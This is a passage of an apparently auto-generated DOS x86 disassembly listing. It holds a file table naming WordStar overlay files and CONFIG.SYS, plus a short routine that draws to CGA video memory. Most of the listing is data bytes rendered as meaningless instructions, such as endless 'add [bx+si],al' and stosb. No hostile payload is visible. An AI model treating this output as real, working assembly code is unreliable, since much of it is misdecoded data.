dup (0) + db 03h, 88h, 12h, 11h, 41h, 01h + db 0A0h, 9Dh, 00h, 00h + db 'WSSPELL OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h, 9Fh, 00h + db 80h, 80h, 00h, 00h, 59h,0F9h + db 43h,0F9h, 31h,0F9h, 45h,0F9h + db 52h,0F9h, 50h, 29h, 00h + db 9 dup (0) + db 0A0h,0B2h, 46h, 12h, 00h, 00h + db 00h, 00h, 00h, 00h + db 'WSMSGS OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0C0h, 00h + db 62h, 53h, 00h, 00h + db 'PREVIEW OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 0Fh, 11h, 16h, 01h + db 10h,0ABh, 00h, 00h + db 'PREVIEW MSG!' + db 0 + db 9 dup (0) + db 03h, 88h, 0Fh, 11h,0D5h, 00h + db 00h, 22h, 00h, 00h + db 'DRAFT PDF!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0DEh, 00h + db 0AAh, 03h, 00h, 00h + db 'WSSHORT OVR!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0DFh, 00h + db 00h, 02h, 00h, 00h + db 'WS4 PDF!' + db 0 + db 9 dup (0) + db 03h, 88h, 12h, 11h,0E0h, 00h + db 0ABh, 01h, 00h, 00h + db 'CONFIG SYS!' + db 0 + db 9 dup (0) + db 11h,0A3h, 39h, 12h,0E1h, 00h + +locloop_0017: + or ax,[bx+si] + add [bx+si],al + inc cx + push bp + push sp + dec di + inc bp + pop ax + inc bp + inc bx + inc dx + inc cx + push sp + and [bx+si],ax + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],ah + mov word ptr ds:[1239h],ax + loop locloop_0018 ; Loop if cx > 0 + + +locloop_0018: + or [bx+si],ax + add [bx+si],al + push di + push bx + dec ax + pop cx + push ax + dec ax + and [bx+si],ah + dec di + imul byte ptr [bx+si] ; ax = data * al + sub [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0183e + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add ch,[bp+si-5556h] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0182e + stosb ; Store al to es:[di] + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si-7F56h],ch + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+80h] + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0A00h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],ch + stosb ; Store al to es:[di] + test al,0 + add ch,[bp+si+0A0h] + add ch,[bp+si+0A8h] + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si+80h],ch + add [bx+si],al + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],2 + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si],al + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add ch,[bp+si+2A00h] + mov al,ds:data_0033e + add ch,[bp+si+0A0h] + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add ch,[bp+si-5556h] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + pushf ; Push flags + push ax + push cx + push dx + push ds + push es + push si + push di + push cs + pop ds + mov ax,5 + int 10h ; Video display ah=functn 00h + ; set display mode in al + mov ax,0B800h + mov es,ax +;* call sub_0002 ;* + db 0E8h, 24h, 00h + mov cx,10h + +locloop_0019: + call sub_0003 + mov di,3040h +;* call sub_0004 ;* + db 0E8h, 57h, 00h + loop locloop_0019 ; Loop if cx > 0 + + mov cx,0FFFFh + +locloop_0020: + loop locloop_0020 ; Loop if cx > 0 + + mov cx,0F6FFh + daa ; Decimal adjust + sub [bx+si],al + add [bp+si],al + stosb ; Store al to es:[di] + test al,0 + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + +; +; SUBROUTINE +; + +sub_0003 proc near + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + or ch,[bp+si-5F56h] + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add ch,[bp+si+0AAh] + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub al,[bx+si] + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0Ah + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0179e + add [bx+si],al + add [bp+si-5756h],ch + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0158e + add [bp+si-5556h],ch + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bp+si-7F56h],ch + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0181e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0Ah + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0186e + add [bx+si],al + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + test al,0 + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0185e + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + mul byte ptr ds:data_0035e ; ax = data * al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + test al,0 + add [bp+si],cl + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bp+si],ch + add byte ptr [bx+si],0 + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub ch,[bp+si+2A00h] + stosb ; Store al to es:[di] + add [bx+si],al + add ch,[bp+si+0A0h] + add [bp+si],ch + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bp+si],ch + add [bp+si],ch + add [bx+si],al + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si+0A0h] + add [bx+si],al + or ch,[bx+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + or ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[2800h] + add [bx+si],al + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si+0A0h] + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + mov al,ds:data_0033e + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],2Ah ; '*' + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0F600h] + and ax,28h + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[2800h] + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0AA0Ah] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add ch,[bp+si+0AAh] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0181e + add [bx+si],al + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],cl + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + mov al,ds:data_0182e + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + or ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0185e + add byte ptr [bx+si],0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add [bp+si+0AAh],ch + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,byte ptr ds:[0AA0Ah] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bp+si+0A8h],ch + add [bx+si],al + add ch,[bp+si+0A8h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + or ch,[bp+si-5556h] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0183e + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + sub ch,[bp+si+0A0h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bp+si-7F56h],ch + add [bx+si],al + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + add [bp+si],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + sub ch,[bp+si+0] + nop ;*ASM fixup - displacement + nop ;*ASM fixup - sign extn byte + add [bx+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add ch,[bp+si+0AAh] + add [bx+si],al + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + mov al,byte ptr data_0041+40h ; (' ') + stosb ; Store al to es:[di] + test al,0 + add ch,[bp+si+0A0h] + or ch,[bp+si+0A0h] + add [bp+si-5556h],ch + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + stosb ; Store al to es:[di] + add [bx+si],al + add [bx+si],al + or ch,[bp+si+80h] + mul byte ptr [si] ; ax = data * al + sub [bx+si],al + add [bx+si],al + sub ch,[bp+si+200h] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add ch,[bp+si+0A8h] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + test al,0 + add [bx+si],al + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + add byte ptr [bx+si],0 + add [bx+si],al + or ch,[bp+si+80h] + add [bx+si],al + add ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + add byte ptr [bx+si],2Ah ; '*' + stosb ; Store al to es:[di] + add [bx+si],al + add [bp+si],ch + stosb ; Store al to es:[di] + add [bp+si],al + stosb ; Store al to es:[di] + mov al,ds:data_0033e + sub ch,[bp+si+80h] + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + stosb ; Store al to es:[di] + test al,0 + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0033e + or ch,[bp+si-5556h] + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + mov al,ds:data_0161e + test al,0 + add [bx+si],al + add [bp+si],cl + stosb ; Store al to es:[di] + add byte ptr [bx+si],0 + add [bp+si],al + stosb ; Store al to es:[di] + stosb ; Store al to es:[di] + stosb ; Store al to 